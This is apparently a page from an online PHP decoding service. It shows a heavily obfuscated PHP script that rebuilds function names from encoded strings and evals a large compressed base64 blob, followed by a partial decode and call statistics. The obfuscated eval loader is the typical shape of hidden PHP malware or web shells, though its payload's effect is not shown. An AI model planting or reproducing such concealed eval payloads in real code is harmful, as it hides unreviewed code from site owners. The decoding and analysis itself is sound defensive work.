Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA=="); eva..

Decoded Output download


function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}

Did this file decode correctly?

Original Code

 $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==");
eval(gzinflate(base64_decode('hY7NCoJAFIVf5SQu5tIUzVpc9hxSeq0huwPzA4X47ikxEm7anu/82V7t+iRttE4aftkQgyq8iyyt67ggGjPFqqoyRG/lpsvL0yWJhBHlg9+oEdJ1ZqsBJw1DFWyvZmVgyYTq2iwxzzF5QXv3yvlOLS2EPXJxhQk8BP7vxHH5d/7+274wGpv5gyH9uzJNHw==')));
$O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
$OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11];
$O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
eval($OO000OO000OO(base64_decode('LVS1zs
TqgnuZle45ShH6QtpqkgkzTKhZhZk5T3//YhuXli
1DcSb9P/9jmgiC/D/8kyZbQYL/y4tsyot//qPFof
Rd3oWPnPLeZcZ5XvmrV2tWVw+sc9eWVUR9iQU+WM
qAkgEqMKHv5CNywkSP/WrO0mDazY19kht41kMsts
MSppwIcEdA1sEY6WkrUVhf8t14TtF7RxY1stUVbX
OSil5VfZXbG2R6FkBkRq3vAil8WX0YkZpo8IyFJH
+4OFHMwlHIPSxm/S1hX7ShzKxmCOdB9s+SdYqILy
smuwK37gNHhA0izpL0I4P4YV4hAKxS4THP1yL+IA
rPsM/tAZZ5ib7nkovz18+RrtEY5bd+e8fmMEqm7W
mYpClcLfSx0Q6HjTrCfD+IFY/GTpuAG+0IRUM9zY
cJOwolDYdwD3XCs8CsWK++HlBAO3lJQiw0657TQI
M+N4dVN7kyI045KoiUwAgr+EZLr2wvQL49vJiMRP
e8kW0qfNcHIcx0XPDz3PM5zvEhLJyta3jgQ9CIFX
r7lX3sVzUps+MPBiqrZXao7cTc8Rz8XqKvmzLJiJ
9VC4e092tssAadcPO2sNv+McVEt4S4nS8qSn5fwr
u53+1Mow3DDkOEZxRI40kBzDUy1i+PBsDFT65Hf2
0WaAF6NJ5QqvnhJTgfYabbMtjx6pc4BSP6t7RFhH
8H0+hmGZs9Upfbrxw3sCl49E/EUFxi6SVAf4qlJ0
5iqHkAOuT54fjQz/wnvESi23nVgV1D/TSU2mS/SX
UnfkrR5FtysvT1DYS989ikDiGJ3s5x4xmS/Subjh
6f7L/UOJp/bjlWTO4EuJe5cQRBW2/NsVV2D+dKap
BQdXUra7VoJ7Z2/cumBxwMv+tKHqK84JRM3eH6YI
GYJAoBBtJPR4qYxExrirzChLQPWUKsZNjL1ax9bD
nvT1H9MhplFHlJ47zSZ065QNPz4b2mqdwcsFfhSy
vpU2hztEvv3rWruDTJIBkEZI1TK+TTa0VcK4aS6g
Onu7V3RoO1svQleUeHxLDgHhUn/LGAKnPUJ0+vJX
yRfvbGo68dqefpNYH7RmEsAcXLws6qsFvkWC/WVi
kl7jTWSamixxgb+zSd1bLsiA4dKlZtLKNbS2HdOp
jAprvN7towGjDuRf5or0I5jlk+FMVcg/hxDChfK9
2YBi0033eIfPTuoGDqv0b3FbX17qW3c4e0qI/cY0
17gaBLk/Lt7HY81dZLJv6m/7gPc3b06Poxe6UWjn
Kut52ftRWGOZmC3Q4lIma0EF6+GbTZQ0Y7TuPpyL
yKtCJ5lKbc7ffunkl02rWN2fglgPP3VkHUQBdflF
9pu8d6W14MsAEbxeqU/6D3nM9vwysHtlpUuxq7rF
qA8/BvMX7IPtROVMKBJUz4oy87geFchm89FCBHGE
FU/RNfKck2qriji9AwkwOtkaGCH8jidJzW0mH9hB
EkJ6X996dRBegLi8o2skaKrM4Pp7comONIONy0Gn
zA5mP+FGUrtFhdSm8LpeeVzbIfsoMnMaYK05sNTE
nF5U85RUuWp1ltrydS0+8CNaYVgU5T6GlfQXgDLS
47jRv/ipIu3z6fZ4/5zUOUx5WBqIVJtgR4W49Z+m
4ruHXjE0AoeskudLQxljcTqXIksXhleVGbNBlGS8
gfXbtn7RmzZugGEi8FFyY17IZwqJlJW3jNBX+Nhl
ptxHWOauXEu/zbKPzPcOP+cvoH1JD0W3ojXKfjyP
khP6LDk8+XfhJsUGTz9fQODyrUz0wCPSrjbeM6qD
ax9GfBdfBLsky+/ZoqRfHe6fcH7SBtOYNzNjP72g
+Opf9sAiTvuRgCXr0cHNmhDC3p76FfdkiRqehM3D
1ZsYF7HuS/fI5kCw9VSYL4X09JOjXNTaKfFKNKmU
Wil6zfC9dnxggLdvc5xHiD2iADhHRBvB3L8hD1bi
fKSOqzOqGDv9vSFPOB2fk6p1//DYqga6X+cB1R2E
NxuLOV16C3qOdujPU3BigVupAavI6R12sIbxieBy
oMgF2AkvA+8ia/qlIc7lumya7OO1elZSte2xxvN6
gDEm5BdBoeivhzXI6OoIUx5suTE7FdsZB5PfOWul
SrOOre76Du0z97ljbRDrWvdxch9bPrqDsIpN76J2
Or9pOAe3Jkg0xBBGqM0ZSqHH2CcF3l1hZcQRoEtI
KOWOoWo2K4xzl3sXJRiujHSQsFgjitx3CTt98Rb6
jEfF33gQopw+wlYUO0RrzWbXQWOUWPqpvfmORYvR
msspmZnr42Oelke3j9tpWrXnqEXqPWrktyWxEjNc
3KLbdivWQMO+3+MS48sehmmWIfAV/E3chu6qXPOr
VF1RdDh28Jp9n2O2/fFNAfBuwfHBGYs3mzWWL37q
iVWBJCJBG8Zxv4GkAEmhu+9mCzwrCWaXmtMmfwvR
C2WFMEmUNAey1eeW7G0LYxjuLolesPpNHJ+zMnm7
NxNu5bTh8tmIbLE8dhWvjPv//++7//BQ==')));

Function Calls

gzinflate 1
base64_decode 2
function_exists 1
11411111610111099111100101 1

Variables

$keystroke1 wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp
$O0O0O0O0O0O0 11411111610111099111100101

Stats

MD5 f8303e6b21f706de743c1a10ce3d6cd5
Eval Count 1
Decode Time 72 ms